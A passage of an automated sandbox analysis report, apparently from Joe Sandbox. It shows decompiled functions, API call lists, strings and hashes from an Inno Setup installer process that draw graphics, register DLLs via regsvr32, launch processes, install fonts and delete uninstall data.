					StretchBlt( *(_t162 + 4),  *_t146, _t146[1], _t146[2] -  *_t146, _t146[3] - _t146[1],  *(E0041D0B4(_v8, _t147, _t155) + 4),  *_t160, _t160[1], _v16, _v20, 0xcc0020);
					_t115 = SetTextColor( *(_t162 + 4), 0);
					_v12 = SetBkColor( *(_t162 + 4), 0xffffff);
					_t120 =  *0x48e53c; // 0x0
					StretchBlt( *(_t162 + 4),  *_t146, _t146[1], _t146[2] -  *_t146, _t146[3] - _t146[1],  *(E0041D0B4(_t120, _t147, _t155) + 4), 0, 0, _v16, _v20, 0xe20746);
					SetTextColor( *(_t162 + 4), _t115);
					SetBkColor( *(_t162 + 4), _v12);
					return  *((intOrPtr*)( *_t162 + 0xc))( *((intOrPtr*)(E0041D0B4(_t89, _t147, _t154) + 4)), 0, 0, _v16, _v20,  *(E0041D0B4(_v8, _t147, _t154) + 4),  *_t160, _t160[1], 0xcc0020);
				}
				return __eax;
			}

0x0041a8c0
0x0041a8c9
0x0041a8cc
0x0041a8ce
0x0041a8d0
0x0041a8d7
0x0041a8e1
0x0041a8e9
0x0041a8f2
0x0041a8f5
0x0041a8fd
0x0041a909
0x0041a917
0x0041a91e
0x0041a923
0x0041a923
0x0041a928
0x0041a935
0x0041a93a
0x0041a93f
0x0041a941
0x0041a941
0x0041a944
0x0041a949
0x0041a951
0x0041a953
0x0041a956
0x0041a95b
0x0041a95d
0x0041a95d
0x0041a960
0x0041a965
0x0041a96a
0x0041a970
0x0041a978
0x0041a97d
0x0041a983
0x0041a98b
0x0041a9a2
0x0041a9c9
0x0041a9d7
0x0041a9ec
0x0041a9f1
0x0041a9f9
0x0041aa36
0x0041aa41
0x0041aa56
0x0041aa6a
0x0041aa90
0x0041aa9a
0x0041aaa7
0x00000000
0x0041aab0
0x0041aab9

APIs

SetBkColor.GDI32(?,00000000), ref: 0041A99D
73B097E0.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020,?,00000000), ref: 0041A9D7
SetBkColor.GDI32(?,?), ref: 0041A9EC
StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00CC0020), ref: 0041AA36
SetTextColor.GDI32(00000000,00000000), ref: 0041AA41
SetBkColor.GDI32(00000000,00FFFFFF), ref: 0041AA51
StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00E20746), ref: 0041AA90
SetTextColor.GDI32(00000000,00000000), ref: 0041AA9A
SetBkColor.GDI32(00000000,?), ref: 0041AAA7

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Color$StretchText$B097
String ID:
API String ID: 129801017-0
Opcode ID: 9763be554a25649a29db5595c64fb65967bde6cc01139e8cdbe8a0bd49800080
Instruction ID: a9056279ea6706653b7762b5d1918432d0ed21d641511fba6a9f580fb915d475
Opcode Fuzzy Hash: 9763be554a25649a29db5595c64fb65967bde6cc01139e8cdbe8a0bd49800080
Instruction Fuzzy Hash: 8561C6B5A00105AFCB40EFADD985E9AB7F8EF09308B14856AF518DB252C734ED40CF69

Uniqueness

Uniqueness Score: -1.00%

Function 004556AC Relevance: 13.6, APIs: 1, Strings: 8, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E004556AC(char __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				char _v5;
				char _v12;
				char _v16;
				char _v84;
				void* _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				char _v116;
				void* _t57;
				void* _t92;
				char _t93;
				intOrPtr _t110;
				void* _t121;
				void* _t124;

				_t119 = __edi;
				_push(__edi);
				_v104 = 0;
				_v108 = 0;
				_v12 = 0;
				_v16 = 0;
				_t121 = __ecx;
				_t92 = __edx;
				_v5 = __eax;
				_push(_t124);
				_push(0x455848);
				_push( *[fs:eax]);
				 *[fs:eax] = _t124 + 0xffffff90;
				E0042D780( &_v12);
				_push(0x455860);
				E0042C3E0(_v12,  &_v104);
				_push(_v104);
				_push("regsvr32.exe\"");
				E0040364C();
				if(_v5 != 0) {
					E00403594( &_v16, 0x455884);
				}
				_push(_v16);
				_push(" /s "");
				_push(_t121);
				_push(0x455860);
				E0040364C();
				_t127 = _t92;
				if(_t92 == 0) {
					E004034AC( &_v104, "Spawning 32-bit RegSvr32: ");
					E00403594( &_v104, _v16);
					E00455348(_v104, _t92, _t119, _t121);
				} else {
					E004034AC( &_v104, "Spawning 64-bit RegSvr32: ");
					E00403594( &_v104, _v16);
					E00455348(_v104, _t92, _t119, _t121);
				}
				E00402934( &_v84, 0x44);
				_v84 = 0x44;
				_t57 = E00403750(_v12);
				if(E00450C2C(_t92, E00403750(_v16), 0, _t127,  &_v100,  &_v84, _t57, 0, 0x4000000, 0, 0, 0) == 0) {
					E00451868("CreateProcess");
				}
				CloseHandle(_v96);
				_t93 = E004555E0( &_v100);
				if(_t93 != 0) {
					_v116 = _t93;
					_v112 = 0;
					E0040788C(0x455900, 0,  &_v116,  &_v108);
					E004503A4(0x3e,  &_v104, _v108);
					E00408BA4(_v104, 1);
					E00403134();
				}
				_pop(_t110);
				 *[fs:eax] = _t110;
				_push(E0045584F);
				E00403438( &_v108, 2);
				return E00403438( &_v16, 2);
			}

0x004556ac
0x004556b4
0x004556b7
0x004556ba
0x004556bd
0x004556c0
0x004556c3
0x004556c5
0x004556c7
0x004556cc
0x004556cd
0x004556d2
0x004556d5
0x004556db
0x004556e0
0x004556eb
0x004556f0
0x004556f3
0x00455700
0x00455709
0x00455713
0x00455713
0x00455718
0x0045571b
0x00455720
0x00455721
0x0045572e
0x00455733
0x00455735
0x00455761
0x0045576c
0x00455774
0x00455737
0x0045573f
0x0045574a
0x00455752
0x00455752
0x00455783
0x00455788
0x0045579f
0x004557c2
0x004557c9
0x004557c9
0x004557d2
0x004557df
0x004557e3
0x004557e9
0x004557ec
0x004557fa
0x00455807
0x00455816
0x0045581b
0x0045581b
0x00455822
0x00455825
0x00455828
0x00455835
0x00455847

APIs

Part of subcall function 0042D780: GetSystemDirectoryA.KERNEL32 ref: 0042D793

CloseHandle.KERNEL32(?,?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,00455860,?, /s ",?,regsvr32.exe",?,00455860), ref: 004557D2

Part of subcall function 00455348: GetLocalTime.KERNEL32(0048DC69,00000000,004554CF,?,?,00000000,0048F628,?,00473FBC,00000000,004740D7,?,?,00000000,0048F628,00000000), ref: 00455378

Strings

regsvr32.exe", xrefs: 004556F3
0x%x, xrefs: 004557F5
/s ", xrefs: 0045571B
D, xrefs: 00455788
/u, xrefs: 0045570E
CreateProcess, xrefs: 004557C4
Spawning 64-bit RegSvr32: , xrefs: 00455737
Spawning 32-bit RegSvr32: , xrefs: 00455759

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseDirectoryHandleLocalSystemTime
String ID: /s "$ /u$0x%x$CreateProcess$D$Spawning 32-bit RegSvr32: $Spawning 64-bit RegSvr32: $regsvr32.exe"
API String ID: 3056626195-1862435767
Opcode ID: 8ab4c6c86cadb8b3fb0d1028d12ad70f7618d2da703a359f45cb85aadb4103e3
Instruction ID: 668142088920a7474f5a4fc6baec131f675cf9e96f3b7cdd4543ab6606308c4e
Opcode Fuzzy Hash: 8ab4c6c86cadb8b3fb0d1028d12ad70f7618d2da703a359f45cb85aadb4103e3
Instruction Fuzzy Hash: 22411970A00708ABDB11EFD6CC91B9DB7B9EF44305F50447BB804BB296D778AA09CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0044C66C Relevance: 13.6, APIs: 9, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0044C66C(void* __eax, int __ecx, struct tagRECT* __edx, char _a4, intOrPtr _a8) {
				int _t23;
				CHAR* _t25;
				long _t37;
				int _t44;
				CHAR* _t46;
				long _t53;
				int _t60;
				CHAR* _t62;
				void* _t68;

				_t72 = __ecx;
				_t73 = __edx;
				_t68 = __eax;
				_t74 = _a4;
				if(_a4 == 0) {
					_t23 = E0040358C(__eax);
					_t25 = E00403750(_t68);
					return DrawTextA(E0041B078( *((intOrPtr*)( *((intOrPtr*)(_a8 - 4)) + 0x104))), _t25, _t23, __edx, __ecx);
				}
				E0041A748( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_a8 - 4)) + 0x104)) + 0x14)), 1, _t74);
				OffsetRect(_t73, 1, 1);
				_t37 = GetSysColor(0x14);
				SetTextColor(E0041B078( *((intOrPtr*)( *((intOrPtr*)(_a8 - 4)) + 0x104))), _t37);
				_t44 = E0040358C(_t68);
				_t46 = E00403750(_t68);
				DrawTextA(E0041B078( *((intOrPtr*)( *((intOrPtr*)(_a8 - 4)) + 0x104))), _t46, _t44, _t73, _t72);
				OffsetRect(_t73, 0xffffffff, 0xffffffff);
				_t53 = GetSysColor(0x10);
				SetTextColor(E0041B078( *((intOrPtr*)( *((intOrPtr*)(_a8 - 4)) + 0x104))), _t53);
				_t60 = E0040358C(_t68);
				_t62 = E00403750(_t68);
				return DrawTextA(E0041B078( *((intOrPtr*)( *((intOrPtr*)(_a8 - 4)) + 0x104))), _t62, _t60, _t73, _t72);
			}

0x0044c672
0x0044c674
0x0044c676
0x0044c678
0x0044c67c
0x0044c742
0x0044c74a
0x00000000
0x0044c762
0x0044c693
0x0044c69d
0x0044c6a4
0x0044c6bc
0x0044c6c5
0x0044c6cd
0x0044c6e5
0x0044c6ef
0x0044c6f6
0x0044c70e
0x0044c717
0x0044c71f
0x00000000

APIs

OffsetRect.USER32(?,00000001,00000001), ref: 0044C69D
GetSysColor.USER32(00000014), ref: 0044C6A4
SetTextColor.GDI32(00000000,00000000), ref: 0044C6BC
DrawTextA.USER32(00000000,00000000,00000000), ref: 0044C6E5
OffsetRect.USER32(?,000000FF,000000FF), ref: 0044C6EF
GetSysColor.USER32(00000010), ref: 0044C6F6
SetTextColor.GDI32(00000000,00000000), ref: 0044C70E
DrawTextA.USER32(00000000,00000000,00000000), ref: 0044C737
DrawTextA.USER32(00000000,00000000,00000000), ref: 0044C762

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Text$Color$Draw$OffsetRect
String ID:
API String ID: 1005981011-0
Opcode ID: b3537fb242d8b7ab794fb71d0597c1b29de91112c6c0a88b9941b0d5558c02b1
Instruction ID: 871493c5d8b0256730e50f677fca3f4276f3227a00fdff1271d472b9d0e0a2a7
Opcode Fuzzy Hash: b3537fb242d8b7ab794fb71d0597c1b29de91112c6c0a88b9941b0d5558c02b1
Instruction Fuzzy Hash: AB21A0742415046FC710FB2ACD8AE9BBBDCDF19315B00457AB958FB3A3C678DE448A68

Uniqueness

Uniqueness Score: -1.00%

Function 0045339C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E0045339C(intOrPtr __eax, void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, DWORD* _a4, intOrPtr* _a8, intOrPtr _a12, char _a16, char _a20, char _a24) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v16;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v68;
				char _v72;
				signed int _t41;
				void* _t42;
				void* _t61;
				intOrPtr _t71;
				intOrPtr* _t74;
				DWORD* _t76;
				void* _t79;

				_v12 = __ecx;
				_t61 = __edx;
				_v8 = __eax;
				_t76 = _a4;
				_t74 = _a8;
				E00403740(_a24);
				_push(_t79);
				_push(0x4534ad);
				_push( *[fs:eax]);
				 *[fs:eax] = _t79 + 0xffffffbc;
				if(_a24 == 0) {
					E0042C7D8(_t61, __ecx,  &_a24);
				}
				E00402934( &_v72, 0x3c);
				_v72 = 0x3c;
				_v68 = 0x540;
				_v60 = _v8;
				_v56 = E00403750(_t61);
				_v52 = E00403750(_v12);
				if(_a24 != 0) {
					_v48 = E00403750(_a24);
				}
				_v44 = _a12;
				_t41 =  &_v72;
				_push(_t41);
				L0042CBC4();
				asm("sbb ebx, ebx");
				if( ~( ~_t41) != 0) {
					 *_t76 = 0x103;
					_t42 = _v16;
					if(_t42 != 0) {
						if(_a16 != 0) {
							WaitForInputIdle(_t42, 0xffffffff);
						}
						if(_a20 != 0) {
							do {
								if(_t74 != 0) {
									 *_t74();
								}
							} while (MsgWaitForMultipleObjects(1,  &_v16, 0, 0xffffffff, 0xff) == 1);
						}
						GetExitCodeProcess(_v16, _t76);
						CloseHandle(_v16);
					}
				} else {
					 *_t76 = GetLastError();
				}
				_pop(_t71);
				 *[fs:eax] = _t71;
				_push(E004534B4);
				return E00403418( &_a24);
			}

0x004533a5
0x004533a8
0x004533aa
0x004533ad
0x004533b0
0x004533b6
0x004533bd
0x004533be
0x004533c3
0x004533c6
0x004533cd
0x004533d4
0x004533d4
0x004533e3
0x004533e8
0x004533ef
0x004533f9
0x00453403
0x0045340e
0x00453415
0x0045341f
0x0045341f
0x00453425
0x00453428
0x0045342b
0x0045342c
0x00453435
0x0045343b
0x00453446
0x0045344c
0x00453451
0x00453457
0x0045345c
0x0045345c
0x00453465
0x00453467
0x00453469
0x0045346b
0x0045346b
0x00453481
0x00453467
0x00453489
0x00453492
0x00453492
0x0045343d
0x00453442
0x00453442
0x00453499
0x0045349c
0x0045349f
0x004534ac

APIs

ShellExecuteEx.SHELL32(?), ref: 0045342C
GetLastError.KERNEL32(00000000,004534AD,?,?,?,00000001), ref: 0045343D
WaitForInputIdle.USER32 ref: 0045345C
MsgWaitForMultipleObjects.USER32 ref: 0045347C
GetExitCodeProcess.KERNEL32 ref: 00453489
CloseHandle.KERNEL32(?,?,?,00000000,004534AD,?,?,?,00000001), ref: 00453492

Strings

<, xrefs: 004533E8

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Wait$CloseCodeErrorExecuteExitHandleIdleInputLastMultipleObjectsProcessShell
String ID: <
API String ID: 35504260-4251816714
Opcode ID: 046a32d8f3049ad451f382462d80769d824d1707620086f0108a9dfc43f085c4
Instruction ID: c8f5c582c69a185e48b9debb62434bc0b28c6b3190209a1183e5e8841978544e
Opcode Fuzzy Hash: 046a32d8f3049ad451f382462d80769d824d1707620086f0108a9dfc43f085c4
Instruction Fuzzy Hash: 9E317270A00209ABDF11EFA9D845A9F7BE8AF05355F10453AB854E73C2D77C9A04CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00469BAC Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 89
registrywindowCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00469BAC(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _v8;
				char _v12;
				char _v16;
				void* _t31;
				void* _t34;
				char* _t37;
				void* _t47;
				intOrPtr _t55;
				intOrPtr _t59;
				void* _t63;
				intOrPtr _t66;

				_push(0);
				_push(0);
				_push(0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t47 = __ecx;
				_t61 = __edx;
				_t63 = __eax;
				_push(_t66);
				_push(0x469ca9);
				_push( *[fs:eax]);
				 *[fs:eax] = _t66;
				if(E0042DC1C(0,  *0x0048EAEC, 0x80000002,  &_v8, 2, 0) != 0) {
					E00455348("Failed to open Fonts registry key.", __ecx, __edx, _t63);
				} else {
					_t34 = E0040358C(_t63);
					_t37 = E00403750(_t63);
					if(RegSetValueExA(_v8, E00403750(__edx), 0, 1, _t37, _t34 + 1) != 0) {
						E00455348("Failed to set value in Fonts registry key.", _t47, _t61, _t63);
					}
					RegCloseKey(_v8);
				}
				if(_t47 != 0) {
					while(AddFontResourceA(E00403750(_t63)) == 0) {
						_t52 =  &_v16;
						E004503A4(0x33,  &_v16, "AddFontResource");
						E0042E4D0(_v16,  &_v16,  &_v12);
						_t59 =  *0x48fc1c; // 0x230a5e0
						_t31 = E00468468(_v12, _t47, _t52, _t59, _t61, _t63, __eflags);
						__eflags = _t31;
						if(_t31 == 0) {
							continue;
						}
						goto L9;
					}
					SendNotifyMessageA(0xffff, 0x1d, 0, 0);
				}
				L9:
				_pop(_t55);
				 *[fs:eax] = _t55;
				_push(0x469cb0);
				return E00403438( &_v16, 2);
			}

0x00469baf
0x00469bb1
0x00469bb3
0x00469bb5
0x00469bb6
0x00469bb7
0x00469bb8
0x00469bba
0x00469bbc
0x00469bc0
0x00469bc1
0x00469bc6
0x00469bc9
0x00469bf0
0x00469c36
0x00469bf2
0x00469bf4
0x00469bfd
0x00469c1a
0x00469c21
0x00469c21
0x00469c2a
0x00469c2a
0x00469c3d
0x00469c3f
0x00469c62
0x00469c6c
0x00469c77
0x00469c7f
0x00469c85
0x00469c8a
0x00469c8c
0x00000000
0x00000000
0x00000000
0x00469c8c
0x00469c5b
0x00469c5b
0x00469c8e
0x00469c90
0x00469c93
0x00469c96
0x00469ca8

APIs

Part of subcall function 0042DC1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047A343,?,00000001,?,?,0047A343,?,00000001,00000000), ref: 0042DC38

RegSetValueExA.ADVAPI32(?,00000000,00000000,00000001,00000000,00000001,?,00000002,00000000,00000000,00469CA9,?,?,?,?,00000000), ref: 00469C13
RegCloseKey.ADVAPI32(?,?,00000000,00000000,00000001,00000000,00000001,?,00000002,00000000,00000000,00469CA9), ref: 00469C2A

Part of subcall function 00455348: GetLocalTime.KERNEL32(0048DC69,00000000,004554CF,?,?,00000000,0048F628,?,00473FBC,00000000,004740D7,?,?,00000000,0048F628,00000000), ref: 00455378

AddFontResourceA.GDI32(00000000), ref: 00469C47
SendNotifyMessageA.USER32(0000FFFF,0000001D,00000000,00000000), ref: 00469C5B

Strings

Failed to open Fonts registry key., xrefs: 00469C31
Failed to set value in Fonts registry key., xrefs: 00469C1C
AddFontResource, xrefs: 00469C65

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseFontLocalMessageNotifyOpenResourceSendTimeValue
String ID: AddFontResource$Failed to open Fonts registry key.$Failed to set value in Fonts registry key.
API String ID: 2144475154-649663873
Opcode ID: e04f23ae531e88cdaef08651cb908a4e1a6a9fb69c251eaacbecb11b9dbbc7eb
Instruction ID: 34a06ada0e78f5f9b54380f7bc7b9d843d068f1a195b39ed9588e7f274964b56
Opcode Fuzzy Hash: e04f23ae531e88cdaef08651cb908a4e1a6a9fb69c251eaacbecb11b9dbbc7eb
Instruction Fuzzy Hash: D42192747406047BE710FBA69D42B6E779C9B44744F50447BBD00EB2C2EABC9E01966E

Uniqueness

Uniqueness Score: -1.00%

Function 0048BB5C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80
sleepsynchronizationthreadCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0048BB5C(void* __eflags) {
				long _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t7;
				intOrPtr _t9;
				intOrPtr _t14;
				intOrPtr _t19;
				struct HWND__* _t25;
				struct HWND__* _t29;
				intOrPtr _t33;
				void* _t35;
				intOrPtr _t41;
				void* _t42;
				void* _t43;
				intOrPtr _t45;

				E00455348("Deleting Uninstall data files.", _t35, _t42, _t43);
				_push(0x48bb9b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t45;
				_t7 =  *0x49031c; // 0x0
				E0044F74C(_t7, 0);
				_t9 =  *0x49031c; // 0x0
				E0044F988(_t9);
				 *[fs:eax] = 0;
				E0042E1A8(0x49031c);
				_t14 =  *0x490314; // 0x0
				E00406EE8(_t14);
				if( *0x490318 != 0) {
					_t33 =  *0x490318; // 0x0
					E00406EE8(_t33);
				}
				if( *0x490330 != 0) {
					_v8 = 0;
					_t25 =  *0x490330; // 0x0
					GetWindowThreadProcessId(_t25,  &_v8);
					_t35 = OpenProcess(0x1f0000, 0, _v8);
					_t29 =  *0x490330; // 0x0
					SendMessageA(_t29, 0x54d, 0, 0);
					WaitForSingleObject(_t35, 0xffffffff);
					CloseHandle(_t35);
					Sleep(0x1f4);
				}
				 *0x48ef4c = 0;
				_t41 =  *0x490310; // 0x0
				E00453788(0, _t41, 0xfa, 0x32);
				if( *0x48fee8 != 0) {
					E00454C84(0, _t35, _t42, _t43, 0);
				}
				_t19 =  *0x48f628; // 0x22f2410
				return E00424224(_t19);
			}

0x0048bb68
0x0048bb70
0x0048bb75
0x0048bb78
0x0048bb7d
0x0048bb82
0x0048bb87
0x0048bb8c
0x0048bb96
0x0048bbaa
0x0048bbaf
0x0048bbb4
0x0048bbc0
0x0048bbc2
0x0048bbc7
0x0048bbc7
0x0048bbd3
0x0048bbd7
0x0048bbde
0x0048bbe4
0x0048bbf9
0x0048bc04
0x0048bc0a
0x0048bc12
0x0048bc18
0x0048bc22
0x0048bc22
0x0048bc29
0x0048bc3a
0x0048bc42
0x0048bc4e
0x0048bc52
0x0048bc52
0x0048bc57
0x0048bc66

APIs

Part of subcall function 00455348: GetLocalTime.KERNEL32(0048DC69,00000000,004554CF,?,?,00000000,0048F628,?,00473FBC,00000000,004740D7,?,?,00000000,0048F628,00000000), ref: 00455378

Part of subcall function 0044F988: SetEndOfFile.KERNEL32(?,?,004592FD,00000000,004594A0,?,00000000,00000002,00000002), ref: 0044F98F

Part of subcall function 00406EE8: DeleteFileA.KERNEL32(00000000,0048F628,0048D89E,00000000,0048D8F3,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406EF3

GetWindowThreadProcessId.USER32(00000000,?), ref: 0048BBE4
OpenProcess.KERNEL32(001F0000,00000000,?,00000000,?), ref: 0048BBF4
SendMessageA.USER32(00000000,0000054D,00000000,00000000), ref: 0048BC0A
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,0000054D,00000000,00000000,001F0000,00000000,?,00000000,?), ref: 0048BC12
CloseHandle.KERNEL32(00000000,00000000,000000FF,00000000,0000054D,00000000,00000000,001F0000,00000000,?,00000000,?), ref: 0048BC18
Sleep.KERNEL32(000001F4,00000000,00000000,000000FF,00000000,0000054D,00000000,00000000,001F0000,00000000,?,00000000,?), ref: 0048BC22

Strings

Deleting Uninstall data files., xrefs: 0048BB63

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: FileProcess$CloseDeleteHandleLocalMessageObjectOpenSendSingleSleepThreadTimeWaitWindow
String ID: Deleting Uninstall data files.
API String ID: 2572021473-2568741658
Opcode ID: 47c0343d49d6716dfd8f6910dc5ddaccadffacab879229e55033a7ee56affa38
Instruction ID: ef1d172303a259d09d19a4eb890201be45307ddd3520d78bbdc2739676507261
Opcode Fuzzy Hash: 47c0343d49d6716dfd8f6910dc5ddaccadffacab879229e55033a7ee56affa38
Instruction Fuzzy Hash: 76216071314304AFE761F77AEC92F2E7698E748718F50493BB904961E2DA78AC408B6C

Uniqueness

Uniqueness Score: -1.00%

Function 0045D894 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75
windowCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E0045D894(intOrPtr* __eax, void* __ecx, void* __edx, void* __edi, void* __eflags) {
				struct HICON__* _v8;
				struct _SHFILEINFO _v360;
				void* __esi;
				void* __ebp;
				void* _t14;
				int _t18;
				intOrPtr* _t37;
				void* _t49;
				void* _t53;
				void* _t55;
				intOrPtr _t56;

				_t53 = _t55;
				_t56 = _t55 + 0xfffffe9c;
				_push(_t49);
				_t37 = __eax;
				 *((char*)(__eax + 0xfc)) = 0;
				E004163F4(__eax, __edi, _t49, _t53);
				_t14 = E00403418(_t37 + 0x100);
				if(( *(_t37 + 0x1c) & 0x00000010) != 0) {
					return _t14;
				} else {
					if((GetVersion() & 0x000000ff) >= 6 &&  *0x48f6e8 != 0) {
						 *0x48f6e8(E004181C4(_t37), L"Explorer", 0);
						SendMessageA(E004181C4(_t37), 0x112c, 4, 4);
					}
					_t18 = SHGetFileInfo(0x45d9a0, 0,  &_v360, 0x160, 0x4011);
					E004099E8(E004181C4(_t37), 0, _t18);
					_v8 = SetCursor(LoadCursorA(0, 0x7f02));
					 *[fs:eax] = _t56;
					 *((intOrPtr*)( *_t37 + 0x80))( *[fs:eax], 0x45d97c, _t53);
					 *[fs:eax] = 0;
					_push(0x45d983);
					return SetCursor(_v8);
				}
			}

0x0045d895
0x0045d897
0x0045d89e
0x0045d89f
0x0045d8a1
0x0045d8aa
0x0045d8b5
0x0045d8be
0x0045d988
0x0045d8c4
0x0045d8d1
0x0045d8eb
0x0045d902
0x0045d902
0x0045d91f
0x0045d931
0x0045d948
0x0045d956
0x0045d95f
0x0045d96a
0x0045d96d
0x0045d97b
0x0045d97b

APIs

Part of subcall function 004163F4: GetClassInfoA.USER32 ref: 00416463
Part of subcall function 004163F4: UnregisterClassA.USER32 ref: 0041648F
Part of subcall function 004163F4: RegisterClassA.USER32 ref: 004164B2

GetVersion.KERNEL32 ref: 0045D8C4
SendMessageA.USER32(00000000,0000112C,00000004,00000004), ref: 0045D902
SHGetFileInfo.SHELL32(0045D9A0,00000000,?,00000160,00004011), ref: 0045D91F
LoadCursorA.USER32 ref: 0045D93D
SetCursor.USER32(00000000,00000000,00007F02,0045D9A0,00000000,?,00000160,00004011), ref: 0045D943
SetCursor.USER32(?,0045D983,00007F02,0045D9A0,00000000,?,00000160,00004011), ref: 0045D976

Strings

Explorer, xrefs: 0045D8DE

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ClassCursor$Info$FileLoadMessageRegisterSendUnregisterVersion
String ID: Explorer
API String ID: 2594429197-512347832
Opcode ID: e91849e0618d858d9194317a1a4038b08b961e524554fbfaf58e2b90370e84dd
Instruction ID: f84993560f39c0634edb85e0f01e9d31c205d0b219b59aa2db0e2658bca57fc4
Opcode Fuzzy Hash: e91849e0618d858d9194317a1a4038b08b961e524554fbfaf58e2b90370e84dd
Instruction Fuzzy Hash: 66210DB1B443047AE720BB759C47B9B76989F08709F50447FFA05EA2C3D9BD4C09865C

Uniqueness

Uniqueness Score: -1.00%

Function 00401A90 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00401A90() {
				void* _t2;
				void* _t3;
				void* _t14;
				intOrPtr* _t18;
				intOrPtr _t22;
				intOrPtr _t24;

				_t22 = _t24;
				if( *0x48f419 == 0) {
					return _t2;
				} else {
					_push(_t22);
					_push(E00401B68);
					_push( *[fs:edx]);
					 *[fs:edx] = _t24;
					if( *0x48f036 != 0) {
						_push(0x48f420);
